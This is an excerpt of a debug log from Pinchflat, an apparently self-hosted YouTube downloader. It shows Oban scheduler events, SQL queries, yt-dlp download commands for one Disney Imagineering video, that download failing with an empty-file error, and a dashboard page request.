{"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:50.269 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:00.089 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:01:20.270 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:01:50.271 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:00.090 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:02:20.272 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:02:50.273 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:00.091 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:03:20.274 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:03:50.275 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:00.092 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:04:20.276 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:04:50.278 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:00.093 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:05:20.279 [info] {"source":"oban","duration":823,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:05:50.281 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:00.094 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:06:20.282 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:06:50.283 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:00.095 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:07:20.284 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:07:50.285 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:00.096 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:08:20.286 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:08:50.287 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:00.097 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:09:20.289 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:09:50.290 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:00.098 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:10:20.291 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:10:50.292 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.099 [info] {"source":"oban","duration":342,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:11:20.293 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:50.295 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.100 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:12:20.296 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:50.297 [info] {"source":"oban","duration":793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.101 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:13:20.298 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:50.299 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.102 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:14:20.300 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:50.301 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.103 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:15:20.302 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:50.303 [info] {"source":"oban","duration":716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.104 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:16:03.146 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775006163146447564,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:16:03.146 [debug] QUERY OK source="media_items" db=0.1ms idle=1623.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 21:16:03.147 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:16:03.147 [debug] QUERY OK source="sources" db=0.2ms idle=1623.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:16:03.147 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:03.148 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 21:16:03.148 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 21:16:03.148 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:16:03.149 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.149 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.149 [debug] Running yt-dlp command for action: get_downloadable_status 21:16:03.150 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.150 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:03.150 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c2/04/c2041e28828b20720bb6c8e77d34e054dbf91e07540f5408ff80eb536e35b3d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:07.001 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/c2/04/c2041e28828b20720bb6c8e77d34e054dbf91e07540f5408ff80eb536e35b3d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:16:07.001 [debug] Running yt-dlp command for action: download 21:16:07.001 [debug] QUERY OK source="settings" db=0.2ms idle=858.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.002 [debug] QUERY OK source="settings" db=0.1ms idle=478.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.002 [debug] QUERY OK source="settings" db=0.0ms idle=478.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:16:07.002 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/42/f9420587a1d12efe76904d43f9b8dc065a0aaa6a8b3009ebdd530767fce2aaf1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:16:20.304 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:50.305 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.105 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:17:20.307 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:50.308 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:00.106 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:18:20.309 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:18:50.310 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:00.107 [info] {"source":"oban","duration":392,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:19:20.311 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:19:50.312 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:00.108 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:20:20.314 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:20:50.315 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:00.109 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:21:09.229 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/42/f9420587a1d12efe76904d43f9b8dc065a0aaa6a8b3009ebdd530767fce2aaf1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 21:21:09.229 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 21:21:09.229 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":306082867,"event":"job:exception","queue_time":870489,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:21:20.316 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:50.317 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:21:56.952 [info] GET / 21:21:56.952 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:21:56.952 [debug] QUERY OK source="settings" db=0.2ms idle=1428.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:56.953 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1429.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:21:56.953 [debug] QUERY OK source="sources" db=0.0ms idle=1411.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:21:56.963 [debug] QUERY OK source="media_items" db=10.4ms idle=429.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:21:56.964 [debug] QUERY OK source="media_items" db=0.3ms idle=421.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:21:56.964 [debug] QUERY OK source="settings" db=0.0ms idle=11.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:56.964 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:56.965 [debug] QUERY OK source="settings" db=0.1ms idle=11.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:21:56.966 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:21:56.966 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:21:56.967 [debug] QUERY OK source="media_items" db=0.5ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:21:56.967 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 21:21:56.973 [debug] QUERY OK source="media_items" db=3.4ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:21:56.974 [debug] QUERY OK source="media_items" db=0.7ms idle=7.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:21:56.974 [debug] QUERY OK source="sources" db=0.2ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 21:21:56.976 [info] Sent 200 in 24ms 21:22:00.110 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:22:20.318 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:22:50.320 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:00.111 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:23:20.322 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:23:50.324 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:00.112 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:24:20.326 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:24:50.328 [info] {"source":"oban","duration":1345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:00.113 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:25:20.330 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:25:50.332 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:00.114 [info] {"source":"oban","duration":283,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 21:26:20.333 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:26:50.334 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:27:00.115 [info] 